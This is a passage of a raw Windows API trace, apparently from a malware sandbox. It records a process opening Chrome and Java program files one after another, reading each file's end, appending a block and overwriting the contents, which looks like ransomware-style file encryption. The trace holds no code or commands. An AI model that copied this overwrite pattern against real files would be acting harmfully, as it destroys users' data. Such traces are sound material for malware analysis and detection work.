[0043.081] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.083] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x477e4 [0043.083] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.085] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x477e4 [0043.085] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.085] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0043.085] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.085] CloseHandle (hObject=0x1ac) returned 1 [0043.085] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sv.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0043.086] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.086] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x496bb [0043.086] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.086] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.086] ReleaseMutex (hMutex=0x128) returned 1 [0043.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sv.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0043.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sv.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sv.pak", lpUsedDefaultChar=0x0) returned 6 [0043.087] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.088] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x486bb [0043.088] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.090] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x486bb [0043.090] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.090] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0043.090] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.090] CloseHandle (hObject=0x1ac) returned 1 [0043.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\nacl_irt_x86_64.nexe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0043.091] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.091] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x380630 [0043.092] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.092] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.092] ReleaseMutex (hMutex=0x128) returned 1 [0043.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nacl_irt_x86_64.nexe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0043.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nacl_irt_x86_64.nexe", cchWideChar=20, lpMultiByteStr=0x1e78c44, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nacl_irt_x86_64.nexe", lpUsedDefaultChar=0x0) returned 20 [0043.092] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0043.752] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0043.766] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0x2000, lpOverlapped=0x0) returned 1 [0043.767] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x37e630 [0043.767] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a4c6c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4c6c8*, lpNumberOfBytesRead=0x2f4f278*=0x2000, lpOverlapped=0x0) returned 1 [0043.771] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x37e630 [0043.772] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2f4f28c*=0x2588, lpOverlapped=0x0) returned 1 [0043.772] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0043.772] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.772] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.772] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0x2000, lpOverlapped=0x0) returned 1 [0043.773] CloseHandle (hObject=0x1ac) returned 1 [0044.218] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.219] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.219] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x57f [0044.219] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.220] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.220] ReleaseMutex (hMutex=0x128) returned 1 [0044.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="widevinecdmadapter.dll.sig", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0044.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="widevinecdmadapter.dll.sig", cchWideChar=26, lpMultiByteStr=0x1e7fb1c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="widevinecdmadapter.dll.sig", lpUsedDefaultChar=0x0) returned 26 [0044.220] ReadFile (in: hFile=0x1cc, lpBuffer=0x1dfc728, nNumberOfBytesToRead=0x57f, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfc728*, lpNumberOfBytesRead=0x2f4f2bc*=0x57f, lpOverlapped=0x0) returned 1 [0044.227] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.227] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xb07, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f2d0*=0xb07, lpOverlapped=0x0) returned 1 [0044.227] CloseHandle (hObject=0x1cc) returned 1 [0044.227] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\javaw.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.228] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.228] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2aba8 [0044.228] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.228] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.228] ReleaseMutex (hMutex=0x128) returned 1 [0044.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="javaw.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="javaw.exe", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javaw.exe", lpUsedDefaultChar=0x0) returned 9 [0044.228] ReadFile (in: hFile=0x1cc, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.229] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x29ba8 [0044.229] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.229] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x29ba8 [0044.230] WriteFile (in: hFile=0x1cc, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.230] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0044.230] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.230] CloseHandle (hObject=0x1cc) returned 1 [0044.230] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\policytool.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.235] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.235] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x3da8 [0044.235] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.235] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.235] ReleaseMutex (hMutex=0x128) returned 1 [0044.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="policytool.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0044.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="policytool.exe", cchWideChar=14, lpMultiByteStr=0x1e6320c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policytool.exe", lpUsedDefaultChar=0x0) returned 14 [0044.235] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.238] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2da8 [0044.238] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.239] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2da8 [0044.239] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.240] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0044.240] WriteFile (in: hFile=0x168, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.240] CloseHandle (hObject=0x168) returned 1 [0044.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.240] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.240] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4d0 [0044.240] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.240] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.240] ReleaseMutex (hMutex=0x128) returned 1 [0044.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendars.properties", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0044.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendars.properties", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendars.properties", lpUsedDefaultChar=0x0) returned 20 [0044.241] ReadFile (in: hFile=0x168, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x2f4f2bc*=0x4d0, lpOverlapped=0x0) returned 1 [0044.319] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.319] WriteFile (in: hFile=0x168, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0xa58, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2f4f2d0*=0xa58, lpOverlapped=0x0) returned 1 [0044.320] CloseHandle (hObject=0x168) returned 1 [0044.320] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqs.conf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\jqs.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.320] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.320] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x9f6e [0044.320] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.320] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.320] ReleaseMutex (hMutex=0x128) returned 1 [0044.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jqs.conf", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0044.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jqs.conf", cchWideChar=8, lpMultiByteStr=0x1e6320c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jqs.conf", lpUsedDefaultChar=0x0) returned 8 [0044.321] ReadFile (in: hFile=0x168, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.328] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8f6e [0044.328] ReadFile (in: hFile=0x168, lpBuffer=0x1daff08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1daff08*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.334] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8f6e [0044.334] WriteFile (in: hFile=0x168, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.335] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0044.335] WriteFile (in: hFile=0x168, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.335] CloseHandle (hObject=0x168) returned 1 [0044.336] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.336] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.336] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xd51 [0044.336] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.336] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.336] ReleaseMutex (hMutex=0x128) returned 1 [0044.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_sv.properties", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0044.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_sv.properties", cchWideChar=22, 